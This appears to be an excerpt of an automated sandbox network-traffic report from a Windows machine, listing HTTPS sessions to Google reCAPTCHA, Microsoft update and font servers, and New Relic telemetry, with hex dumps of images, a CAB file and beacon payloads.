2024-04-25 13:30:14 UTC	236	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:30:14 GMT Content-Type: text/plain Content-Length: 7372 Connection: close Server: nginx/1.22.0 Last-Modified: Mon, 23 Jan 2023 18:42:14 GMT ETag: "63ced506-1ccc" Accept-Ranges: bytes
2024-04-25 13:30:14 UTC	7372	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c0 00 00 00 c0 08 03 00 00 00 65 02 9c 35 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 03 00 50 4c 54 45 47 70 4c bc 60 1a 82 3a 12 e0 2a 1d e0 2a 1d fa 58 26 f9 58 26 f0 6e 1f e4 72 1d ff 74 2a ff 74 2a dd 66 1f ff af 05 ff af 06 bc 3f 17 e3 a4 0f d5 3c 1d d6 3c 1c c3 3f 1b e1 2a 1c d7 2a 1a fe 75 2a f5 6c 28 fc 75 2b de 28 1b fe 75 2a ef 6c 28 fe b1 07 e1 29 1c f9 58 25 f0 70 2a fe b0 06 f5 ad 08 e0 29 1c f6 73 2a f5 ae 09 e2 2a 1c e0 2a 1b f0 69 28 e6 68 23 f6 73 2a f4 72 2a fe 74 2a df 2c 1c e2 29 1b f4 55 24 f3 56 24 e8 5c 25 e0 a1 0b f6 b1 0b fe b2 08 e6 a3 09 ec 70 28 38 1f 11 fd 75 2b dd 2c 1b f4 57 24 f6 59 25 f8 74 2b f8 58 25 f9 74 2a fa 73 Data Ascii: PNGIHDRe5gAMAasRGBPLTEGpL`:*X&X&nrttf?<<?ul(u+(ul()X%p)s**i(h#srt,)U$V$\%p(8u+,W$Y%t+X%t*s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49749	108.177.122.99	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:14 UTC	816	OUT	GET /recaptcha/api2/payload?p=06AFcWeA4FZyNsaNE7-9uQkNBql1kxIYkOSyDw6ux814X4q-qVDRD-GTznrIshOU9-qF9Banu-WAyZ3DJM9mqROfBcPxrWwIosE3BC2sGY434woUXFGDcCL9Cmu0nvsy6OO0HrsSrzS5PCKeh6sI5Fc7mgdOw0F5UDaA1x2yjVGl7EVLbUUG9AK6egYXmp1k5sLEwJmISM6yGH&k=6Ld9XlUUAAAAABcR5houwBXwlA_3STKsG2SzYCVw HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6d-m3A0uq6XaK5Wrd6tGGlp9Fkh5p9nGyCpd7x0tEHkAqtjhRdmG_c1Q5I-I0-K-xolAk4KQ5t-owfrcq4
2024-04-25 13:30:15 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Thu, 25 Apr 2024 13:30:15 GMT Date: Thu, 25 Apr 2024 13:30:15 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-25 13:30:15 UTC	1255	IN	Data Raw: 37 36 34 34 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 c2 01 c2 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 7644JFIFC!"$"$C"}!1AQa"q
2024-04-25 13:30:15 UTC	1255	IN	Data Raw: 8d bc ed 3d 0d 7a 56 99 e2 7d 07 c6 36 c2 d7 50 55 b6 bd 1c 06 38 e6 b2 96 1f 95 73 53 d8 4a 4d 33 90 8a e5 88 c3 2a 82 6a 65 77 24 10 14 83 d4 d5 ed 73 c2 d7 da 7c cd 24 69 e6 db 9e 56 41 cd 61 f9 73 22 8d ce 32 0f 63 59 a9 29 6e 69 cc 6a c2 dc f5 0b 56 61 98 85 c6 fc e3 a5 63 27 9a 1b 00 e4 1e 6a 78 c9 df fb c2 50 50 e0 c7 73 68 5c 0c 64 90 d9 fd 2a 4f f4 77 51 ba 15 39 ee 6b 2e 09 06 08 53 91 9a b0 b7 01 1b 6f 24 77 ac dc 0a 5a 96 4d 95 ab 2b 19 61 8c a9 ed 8a a6 fe 1e d1 27 90 bb 59 45 96 fe 20 39 ab a9 2b 75 0c 08 3d 8d 4d 14 aa 14 e0 00 6a 1c 50 f4 31 8f 83 74 5c ff 00 ab 14 56 e7 99 fe d0 a2 a3 d9 0a d1 ec 72 9b 72 08 e8 3d 69 23 00 1e 73 4c 59 0e dc 01 93 9a 70 6e 47 3c d7 b4 8f 31 b0 c1 1d f8 a4 ce 29 e0 a9 38 23 eb 4c c7 07 bf 34 c4 28 00 9f 53 Data Ascii: =zV}6PU8sSJM3jew$s\|$iVAas"2cY)nijVac'jxPPsh\dOwQ9k.So$wZM+a'YE 9+u=MjP1t\Vrr=i#sLYpnG<1)8#L4(S
2024-04-25 13:30:15 UTC	1255	IN	Data Raw: 94 70 79 34 e5 f9 48 ee 0d 34 d8 ac 34 44 01 00 12 0f 6a 76 d9 15 8a 96 06 9e 48 e7 9e 69 b8 3c f3 c9 fd 29 b6 c2 c3 40 72 08 e3 34 f5 27 6e 33 cd 18 c7 cc 4f 6a 40 43 30 e3 14 ae 30 c6 e3 c9 3f 5a 8e 44 60 4b 03 cd 4e d8 03 ad 37 20 8a 96 c2 c1 04 52 4c 9f 22 b3 37 a6 3a 53 a4 8d 97 3b d1 be 84 62 b6 7c 13 a8 a6 9f ac aa 4c a8 d0 cc 42 b6 f1 9c 57 a3 78 8f 41 b3 d5 b4 79 22 8a 34 59 31 ba 36 41 83 9a 9a b7 82 bf 40 bd 8f 1c dc 19 49 ee 29 54 9e 86 96 ea de 7b 7b 86 85 e3 d8 e8 70 ca 69 9c fc c7 77 43 49 4a e8 63 cb 1d dd 06 29 3a 66 93 71 3c 1e d4 e1 ca e4 7e 35 68 4c 43 92 b9 14 80 f1 93 c7 d2 9d 8e 38 e4 1e f4 cc 30 fc 29 80 ad 81 c9 23 f0 a6 33 10 72 00 e6 94 9c 7b e6 91 97 b9 38 e3 a5 00 27 dd c6 07 5a 1b 00 e3 8c d2 31 5c 80 0e 71 dc 0a 4e 09 27 a1 Data Ascii: py4H44DjvHi<)@r4'n3Oj@C00?ZD`KN7 RL"7:S;b\|LBWxAy"4Y16A@I)T{{piwCIJc):fq<~5hLC80)#3r{8'Z1\qN'
2024-04-25 13:30:15 UTC	1255	IN	Data Raw: 47 19 e9 d2 b0 67 44 26 9a 15 70 7e 60 b8 cf 6a 70 38 e7 83 51 ee e4 9f 4e 28 8d b2 3a 1f 7e 2a 59 68 90 2e e1 49 9c 1c 0e f4 2b 13 90 0f 1e d4 a4 65 32 07 22 84 c4 35 89 c7 b5 1c 80 73 f8 53 d4 64 0c 74 ef 43 30 2b c8 fa 71 55 71 11 90 0f 3c 8a 8c 03 ce 73 52 6e 6c e3 14 83 39 04 0c 0a 61 a0 d4 65 2a 72 4e 07 ad 01 c8 20 e7 02 90 8e a9 f8 d0 a0 15 20 71 f5 a6 21 fe 68 53 cf 23 d6 90 4b 23 0c 3f 1e 84 74 a8 a5 42 e9 d7 a5 3e 06 c8 29 27 a7 14 9c 43 98 46 52 c7 3b 82 9e a0 fa d4 fb ee 44 4b c0 23 d4 53 76 ae 41 18 20 0e 33 4a 15 82 e6 39 31 9e d9 ac e5 02 e3 50 b0 6e a1 ba b7 fb 25 f4 49 3c 6c 30 41 e4 fe 75 ce eb fe 03 8a e6 36 bc d0 a4 57 3c 96 b7 27 04 1f ad 69 95 2b 96 c1 dd ed d6 9d 1c 93 45 cc 52 b2 1e be 99 ac 25 4f aa 35 55 0f 39 b1 17 56 13 e1 8c Data Ascii: GgD&p~`jp8QN(:~Yh.I+e2"5sSdtC0+qUq<sRnl9aerN q!hS#K#?tB>)'CFR;DK#SvA 3J91Pn%I<l0Au6W<'i+ER%O5U9V
2024-04-25 13:30:15 UTC	1255	IN	Data Raw: d3 09 ed 8e b4 e0 df 21 0c 33 cf 19 a6 29 52 70 78 c7 6a 92 c7 85 00 6e a3 72 85 23 a6 39 a0 1e 31 e9 d2 91 80 23 b9 1d e8 b0 02 b0 27 20 82 4f 6a 39 2a 43 8c 0c f6 a0 10 18 71 d2 9c 03 16 c8 c0 3e 94 58 5d 46 8c 06 cf 25 68 0d 90 7b 03 4b 80 08 e3 3c d1 c2 e7 18 a6 12 13 00 8d a0 9a 42 48 e3 3c d3 b3 f2 f1 4d d8 06 31 d2 9a 17 40 dc 31 d3 8a 50 78 c1 cf b5 01 57 07 eb 4a dc 00 05 50 6a 23 01 9c 50 03 9f e9 46 30 79 a5 66 18 c5 31 7a 90 93 31 1b 78 c6 6a 54 dd 8c 74 e2 85 c6 30 09 19 a3 e6 e7 a0 a9 63 b9 22 af e5 4a 00 0c 78 34 83 05 46 09 cd 38 00 38 cd 22 88 88 c3 1d c7 23 b5 74 3e 08 d1 ec f5 89 e6 82 69 da 29 02 82 a3 fb d5 88 46 48 15 67 49 be 97 4f d4 63 ba 85 b6 ba 1e 7e 95 51 8f 3b b3 25 9d 7d ef 81 51 6d e5 7b 5b a6 66 8c 12 14 8e a7 d2 b8 79 63 Data Ascii: !3)Rpxjnr#91#' Oj9*Cq>X]F%h{K<BH<M1@1PxWJPj#PF0yf1z1xjTt0c"Jx4F88"#t>i)FHgIOc~Q;%}Qm{[fyc
2024-04-25 13:30:15 UTC	1255	IN	Data Raw: 4d d8 e9 9a f7 ef 87 3a 57 f6 76 8c 03 1c b4 9c 90 38 c5 79 5f 81 ad 56 e6 e2 23 f2 82 5b a1 35 ee da 7c 49 15 aa 22 af 00 7a d4 57 ba 56 2a 36 43 e4 07 f0 e9 4c db 82 41 c1 a7 b1 e4 83 90 3b 53 71 ef 8f 6a e1 28 89 b2 05 34 82 4e 47 4e f5 21 c9 3d 78 a6 b9 20 1c f5 ed 8a 63 21 20 ab 0c 6e cf 5a 78 cf 0d 92 7f 0a 72 1d e7 24 63 8c 53 32 50 63 de 81 88 f2 6c 7c 9e 07 d2 9d f3 37 cb 8f 7a 43 f3 f5 1b a9 54 10 a7 3c 1f 7a 34 b0 06 0e ec 82 0f b6 69 77 01 c6 dc 7a d4 3e 58 39 60 c5 4f a0 a5 44 91 53 a9 a3 40 b1 2b 11 81 dc 1e 94 8c 59 30 1b ee 9e 94 88 a7 f8 80 ff 00 66 9c c3 72 f5 20 d1 e8 02 67 2d 86 34 bd 0e 3a 83 4a b1 92 a3 e6 04 d1 c2 fa 9a 10 0d 2a db 4e 31 9c d4 64 1e bc 64 54 84 e0 e4 03 48 e7 03 8e f5 62 22 63 85 0d d0 d2 03 c6 7e f5 48 4e 46 08 f9 Data Ascii: M:Wv8y_V#[5\|I"zWV6CLA;Sqj(4NGN!=x c! nZxr$cS2Pcl\|7zCT<z4iwz>X9`ODS@+Y0fr g-4:JN1ddTHb"c~HNF
2024-04-25 13:30:15 UTC	1255	IN	Data Raw: e7 da 8e 08 39 27 34 aa bd cf 61 48 63 a3 c9 50 3a 1a 71 3f 36 3f 5a 6e e3 b4 1c 00 68 56 03 27 b9 a0 07 b9 e4 1c 53 5d 98 83 80 05 19 23 93 cf 14 a4 12 a0 81 41 4b 61 b1 03 c6 ee 33 4f 27 1c 1c 91 ed 47 3b 70 54 52 07 07 e5 15 20 90 ac cc 70 28 62 14 f5 c5 18 c8 39 20 1a 42 40 ea 72 7d 29 85 ac 01 83 a8 07 bd 35 90 a1 00 77 eb 4a 49 c2 82 31 8e 9e f4 ac 0e 73 9c 9a 00 43 b8 36 0f a5 39 49 23 3e 94 8b 87 6e bc 01 4a 46 07 a0 a6 01 82 48 a5 3c 8c 0e b4 29 3c 71 9a 33 9e 40 c5 17 13 00 08 c0 27 8a 01 3e ff 00 4a 5c e0 82 4f 14 aa dc 1e 39 3d 0d 3e 84 81 e4 8c 0a 14 90 7d 69 32 41 c0 34 b9 23 af 43 55 61 d8 77 ca e8 54 f3 9c 8c 7b 62 be 7c f1 97 c2 7f 11 c3 ab 5c dc 69 50 a5 dd ac 92 33 ae 38 61 9e 71 8a fa 05 06 4e e1 da a6 57 6c 81 d7 1e a6 b2 71 94 5d e2 Data Ascii: 9'4aHcP:q?6?ZnhV'S]#AKa3O'G;pTR p(b9 B@r})5wJI1sC69I#>nJFH<)<q3@'>J\O9=>}i2A4#CUawT{b\|\iP38aqNWlq]
2024-04-25 13:30:15 UTC	1255	IN	Data Raw: 2f a1 a6 60 63 39 a1 46 4e 69 5c a1 e9 80 18 10 09 f5 a7 10 33 ee 79 c8 a6 82 4e 7e 51 4a 84 12 09 3d e8 6f a1 23 6e e6 48 2d fc c2 d8 cf ca 07 bd 6a 78 59 77 a7 98 c7 9e e6 b8 df 1c dc bc 09 66 03 04 88 cb f3 b1 e8 2b 6b 47 f1 0d 9d 9c 49 14 b7 11 fd e0 a0 fb 9a e5 a8 db 4d 23 d4 c1 d3 4e 37 39 5f 8d f1 4d 60 63 da 59 a0 91 b2 5b d0 fa 57 95 37 88 0e 9b 6b 7d 65 20 59 2d af 23 20 af 65 70 3e 56 02 bd eb e2 66 95 3e bf a2 b5 a5 ba 47 2c 9c 3a 3e ee 07 d7 da be 51 f8 91 69 7f a4 f8 85 f4 ab a3 89 a2 2a 49 1d 39 f4 f6 ab cb a6 d4 dc 59 8e 63 18 b8 59 99 5a 50 8c ea 8f 77 a9 5b 0b 94 27 88 8f 4c d7 77 62 3c 0f 38 1e 75 a5 c4 24 8e 4a 9e 14 fb 57 1f 06 4b 97 90 72 40 18 e9 f8 d5 a8 cf 50 b8 af ac 86 1a 13 8e a7 cd 4a a4 a1 a2 3b 07 d0 fc 19 21 df 0e b5 3c 23 Data Ascii: /`c9FNi\3yN~QJ=o#nH-jxYwf+kGIM#N79_M`cY[W7k}e Y-# ep>Vf>G,:>Qi*I9YcYZPw['Lwb<8u$JWKr@PJ;!<#
2024-04-25 13:30:15 UTC	1255	IN	Data Raw: 7a f3 cd 76 4d 6b 47 bc 36 72 4f 70 ac a4 06 42 dd 0f a5 5b b3 f1 47 88 74 cd 85 a4 76 1d 42 b8 c8 35 d5 43 0b 09 2e 68 33 0c 4d 77 37 66 54 b9 27 cc f9 57 1c 01 48 a5 fa 13 83 ee 6b d5 fe 1f fc 45 f0 85 f9 6d 1b c5 de 17 b2 6b 5b a2 15 ee 36 fc c8 de a3 d3 eb 5d 07 c5 1f 83 9e 1e d0 bc 29 1f 8b b4 4d 72 79 b4 d7 90 79 d0 15 56 f2 15 87 18 39 c9 c7 4a f7 a0 aa d0 82 95 55 a3 d9 9e 35 75 77 a1 e1 bb d1 48 dd c9 f6 a9 5a e4 30 28 11 87 1c 9c 57 43 61 0f 83 99 d5 26 be ba 25 b8 e1 7a d6 83 e8 fe 0d 9f 8b 6f 10 49 6e c3 b4 a9 d7 da b7 f6 ca f6 30 f6 32 7a 9c 3c 93 ec e0 83 9a 1a 7f 94 16 c8 1e f5 d8 cb e1 3d 35 db fd 1f c4 76 8d f5 aa 77 be 0a 9b 66 f4 d5 ec e4 4c ee 03 77 6a 1d 54 52 a5 23 97 49 37 c9 b3 af 15 b5 f0 b2 de 2b 3f 88 ba 7c f2 5b bc c3 cd 50 46 Data Ascii: zvMkG6rOpB[GtvB5C.h3Mw7fT'WHkEmk[6])MryyV9JU5uwHZ0(WCa&%zoIn02z<=5vwfLwjTR#I7+?\|[PF
2024-04-25 13:30:15 UTC	1003	IN	Data Raw: cd 7a f5 d5 b6 9a f7 1e 6c b6 b0 3c ac 01 2d b4 66 b0 ae ee 23 83 59 11 40 a1 14 1e dd 29 53 c5 54 96 8c 4a 92 b9 92 bf 0b 35 03 a6 25 d3 eb 76 e3 23 2d 1b 29 3f 85 7a df c1 ef 00 78 6b c2 41 75 0f 1a ea f0 5d f5 22 d8 02 a8 9e 84 8f e2 1f d6 aa 45 73 b7 40 56 6c 12 31 cf 5e 6b 93 d6 f5 1d 67 5a d7 63 8a 6b 16 b9 b3 70 b6 e6 65 fe 1c 9e 6b b7 0f 57 9e 2e 0f a9 2d 72 3b 9d 2f c7 5f 0f 4f e3 9d 4a d2 e7 c1 d6 ae da 74 6a c8 4b 4b c1 1d 9c 2f 6e e3 1e d5 e5 be 24 f0 d7 88 7c 31 66 91 dd cb 2c fb 17 f8 57 70 02 bb ef 16 f8 12 ea d9 54 78 23 5a b9 b6 ba 45 dd 2c 46 e0 f2 3d 00 f5 eb 5c 2e 84 7e 26 ff 00 6b cd a6 34 17 53 c8 a3 f7 8b 72 37 2e 3d c9 af 2e 74 55 19 34 9d bc 99 74 67 29 6b 13 3b c3 be 21 0d 0b c3 3b 3e 07 00 8f e5 8a ec 45 b6 b1 a7 5b 5b 6a 51 c1 Data Ascii: zl<-f#Y@)STJ5%v#-)?zxkAu]"Es@Vl1^kgZckpekW.-r;/_OJtjKK/n$\|1f,WpTx#ZE,F=\.~&k4Sr7.=.tU4tg)k;!;>E[[jQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49754	23.201.212.130	443

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:20 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-25 13:30:20 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/073D) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=149591 Date: Thu, 25 Apr 2024 13:30:20 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49756	23.201.212.130	443

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:20 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-25 13:30:20 UTC	531	IN	HTTP/1.1 200 OK Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Content-Type: application/octet-stream ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0rcGnYgAAAAANOnx9vccHTr21ROgX9ESTU0pDRURHRTAzMDkAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=149576 Date: Thu, 25 Apr 2024 13:30:20 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-25 13:30:20 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49755	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:20 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=HhnApw5rZFbWt2c&MD=TryG3spo HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-25 13:30:21 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: df7cc425-236a-4104-8ed7-f899d938cbc0 MS-RequestId: b6ed021b-44f5-4e2f-b249-a14969dc0e2a MS-CV: OwiH+KZs8UOMmkHf.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 25 Apr 2024 13:30:20 GMT Connection: close Content-Length: 24490
2024-04-25 13:30:21 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-04-25 13:30:21 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49757	162.247.243.29	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:24 UTC	813	OUT	POST /events/1/041b6d5c93?a=582529278&v=1.257.0&to=cF5fRRZcDQ5TExkRRFFdWFJLXwAMUghYBm5DUFZUS1oPBlMZ&rst=18493&ck=0&s=d5e2078099f3d04d&ref=https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d HTTP/1.1 Host: bam.nr-data.net Connection: keep-alive Content-Length: 308 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://app.robly.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://app.robly.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:24 UTC	308	OUT	Data Raw: 62 65 6c 2e 36 3b 65 2c 27 66 70 2c 31 6d 67 2c 34 3b 35 2c 27 6e 65 74 2d 65 74 79 70 65 2c 27 34 67 3b 36 2c 27 6e 65 74 2d 72 74 74 2c 32 35 30 2e 3b 36 2c 27 6e 65 74 2d 64 6c 69 6e 6b 2c 34 2e 38 3b 36 2c 27 63 6c 73 2c 30 2e 36 39 38 35 38 30 34 38 36 31 30 30 36 38 36 31 3b 65 2c 27 66 63 70 2c 31 6d 67 2c 37 3b 36 2c 27 74 69 6d 65 54 6f 46 69 72 73 74 42 79 74 65 2c 31 33 30 34 2e 36 30 30 30 30 30 30 30 30 30 30 35 38 3b 36 2c 27 66 69 72 73 74 42 79 74 65 54 6f 46 43 50 2c 38 30 30 2e 31 39 39 39 39 39 39 39 39 39 39 37 31 3b 35 2c 27 6c 6f 61 64 53 74 61 74 65 2c 27 6c 6f 61 64 69 6e 67 3b 35 2c 31 2c 32 3b 36 2c 33 2c 32 35 30 2e 3b 36 2c 34 2c 34 2e 38 3b 36 2c 35 2c 30 2e 36 39 38 35 38 30 34 38 36 31 30 30 36 38 36 31 3b 65 2c 27 6c 6f 61 Data Ascii: bel.6;e,'fp,1mg,4;5,'net-etype,'4g;6,'net-rtt,250.;6,'net-dlink,4.8;6,'cls,0.6985804861006861;e,'fcp,1mg,7;6,'timeToFirstByte,1304.6000000000058;6,'firstByteToFCP,800.1999999999971;5,'loadState,'loading;5,1,2;6,3,250.;6,4,4.8;6,5,0.6985804861006861;e,'loa
2024-04-25 13:30:25 UTC	311	IN	HTTP/1.1 202 Connection: close Content-Length: 24 date: Thu, 25 Apr 2024 13:30:25 GMT content-type: image/gif access-control-allow-origin: https://app.robly.com access-control-allow-methods: GET, POST, PUT, HEAD, OPTIONS access-control-allow-credentials: true x-served-by: cache-pdk-kfty2130051-PDK
2024-04-25 13:30:25 UTC	24	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 Data Ascii: GIF89a,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49758	162.247.243.29	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:34 UTC	831	OUT	POST /events/1/041b6d5c93?a=582529278&v=1.257.0&to=cF5fRRZcDQ5TExkRRFFdWFJLXwAMUghYBm5DUFZUS1oPBlMZ&rst=27886&ck=0&s=d5e2078099f3d04d&ref=https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d HTTP/1.1 Host: bam.nr-data.net Connection: keep-alive Content-Length: 1006 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://app.robly.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://app.robly.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
